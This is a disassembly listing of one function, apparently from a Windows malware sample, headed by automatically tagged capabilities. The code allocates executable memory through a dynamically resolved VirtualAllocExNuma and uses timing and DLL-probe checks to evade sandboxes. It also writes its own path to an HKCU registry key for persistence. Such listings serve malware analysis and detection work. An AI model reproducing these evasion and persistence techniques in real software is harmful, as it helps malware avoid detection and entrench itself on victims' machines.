Function at 0x140001530
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Persist via run registry key
Set registry value

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0x9a0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x940], ecx
mov qword [rbp + 0x948], rdx
call dbg.__main
mov qword [rbp + 0x918], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x8f8], rax
cmp qword [rbp + 0x8f8], 0
je 0x1400015e1
mov rax, qword [rbp + 0x8f8]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8f0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x8f0]
mov r9d, 0x3000
mov r8d, 0x3d9
mov edx, 0
call rax
mov qword [rbp + 0x918], rax
cmp qword [rbp + 0x918], 0
je 0x140001d90
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8e8], rax
mov rax, qword [rbp + 0x8e8]
call rax
mov dword [rbp + 0x8e4], eax
mov ecx, 0x29c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x8e8]
call rax
mov dword [rbp + 0x8e0], eax
mov eax, dword [rbp + 0x8e0]
sub eax, dword [rbp + 0x8e4]
cmp eax, 0x26a
jbe 0x140001d90
mov dword [rbp + 0x8dc], 0x276
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8d0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8c8], rax
mov rax, qword [rbp + 0x8c8]
call rax
mov dword [rbp + 0x8c4], eax
mov eax, dword [rbp + 0x8dc]
mov r8, qword [rbp + 0x8d0]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x8c8]
call rax
mov dword [rbp + 0x8c0], eax
mov eax, dword [rbp + 0x8c0]
sub eax, dword [rbp + 0x8c4]
cmp eax, 0x244
jbe 0x140001d90
mov qword [rbp + 0x910], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x8b8], rax
cmp qword [rbp + 0x8b8], 0
je 0x1400017a5
mov rax, qword [rbp + 0x8b8]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8b0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x8b0]
mov r9d, 0x3000
mov r8d, 0x3df
mov edx, 0
call rax
mov qword [rbp + 0x910], rax
cmp qword [rbp + 0x910], 0
je 0x140001d90
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8a8], rax
mov rax, qword [rbp + 0x8a8]
call rax
mov dword [rbp + 0x8a4], eax
mov ecx, 0x391
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x8a8]
call rax
mov dword [rbp + 0x8a0], eax
mov eax, dword [rbp + 0x8a0]
sub eax, dword [rbp + 0x8a4]
cmp eax, 0x35f
jbe 0x140001d90
mov dword [rbp + 0x89c], 0x207
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x890], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x888], rax
mov rax, qword [rbp + 0x888]
call rax
mov dword [rbp + 0x884], eax
mov eax, dword [rbp + 0x89c]
mov r8, qword [rbp + 0x890]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x888]
call rax
mov dword [rbp + 0x880], eax
mov eax, dword [rbp + 0x880]
sub eax, dword [rbp + 0x884]
cmp eax, 0x1d5
jbe 0x140001d90
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x878], rax
cmp qword [rbp + 0x878], 0
je 0x140001d90
mov rax, qword [rbp + 0x878]
mov edx, 0x473
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x874], eax
mov qword [rbp + 0x908], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x868], rax
cmp qword [rbp + 0x868], 0
je 0x1400019bb
mov rax, qword [rbp + 0x868]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x860], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x860]
mov r9d, 0x3000
mov r8d, 0x267
mov edx, 0
call rax
mov qword [rbp + 0x908], rax
cmp qword [rbp + 0x908], 0
je 0x140001d90
lea rax, str.apoxrhwkurrgdptx.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x858], rax
cmp qword [rbp + 0x858], 0
jne 0x140001d90
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x850], rax
mov rax, qword [rbp + 0x850]
mov ecx, 0
call rax
mov dword [rbp + 0x84c], eax
cmp dword [rbp + 0x84c], 0xffffffff
je 0x140001d90
lea rax, str.C:test.txt
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x840], rax
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x840]
mov r8d, 0x104
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call rax
mov qword [rbp + 0x808], 0
mov dword [rbp + 0x83c], 0
mov dword [rbp + 0x838], 1
mov qword [rbp + 0x830], 0x208
lea rdx, [rbp + 0x3f0]
mov eax, 0
mov ecx, 0x82
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, qword [rbp + 0x830]
lea rax, [rbp + 0x3f0]
lea r8, [0x14000505e]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_wcscpy_s]
call rax
mov dword [rbp + 0x904], 0xffffffff
mov ecx, 0x228
call sym.malloc
mov qword [rbp + 0x828], rax
add dword [rbp + 0x904], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x904]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x828]
add rax, rdx
movsd xmm1, qword [0x1400050e0]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x904]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x828]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x904]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x828]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.fmod
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x904], 0x43
jle 0x140001af6
lea rcx, [rbp - 0x30]
mov rdx, qword [rbp + 0x830]
lea rax, [rbp + 0x3f0]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_wcscat_s]
call rax
mov rdx, qword [rbp + 0x830]
lea rax, [rbp + 0x3f0]
lea r8, [0x140005062]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_wcscat_s]
call rax
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x808]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2001f
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rax, [0x140005068]
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
call rax
mov dword [rbp + 0x83c], eax
cmp dword [rbp + 0x83c], 0
sete al
movzx eax, al
mov dword [rbp + 0x838], eax
cmp dword [rbp + 0x838], 0
je 0x140001ce4
lea rax, [rbp + 0x3f0]
mov rcx, rax
call sym.wcslen
add rax, 1
add eax, eax
mov dword [rbp + 0x824], eax
mov rax, qword [rbp + 0x808]
mov edx, dword [rbp + 0x824]
mov dword [rsp + 0x28], edx
lea rdx, [rbp + 0x3f0]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.DkJyzkwZmLiUC
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
call rax
mov dword [rbp + 0x83c], eax
cmp dword [rbp + 0x83c], 0
sete al
movzx eax, al
mov dword [rbp + 0x838], eax
mov rax, qword [rbp + 0x808]
test rax, rax
je 0x140001d0e
mov rax, qword [rbp + 0x808]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov qword [rbp + 0x808], 0
mov qword [rbp + 0x800], 0
mov dword [rbp + 0x820], 0
mov dword [rbp + 0x81c], 1
mov dword [rbp + 0x818], 1
lea rdx, [rbp + 0x1e0]
mov eax, 0
mov ecx, 0x41
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0x814], 0x208
lea rax, [rbp + 0x800]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
mov r8d, 0
lea rax, [0x140005068]
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
call rax
mov dword [rbp + 0x820], eax
mov eax, 0
add rsp, 0x9a0
pop rbx
pop rdi
pop rbp
ret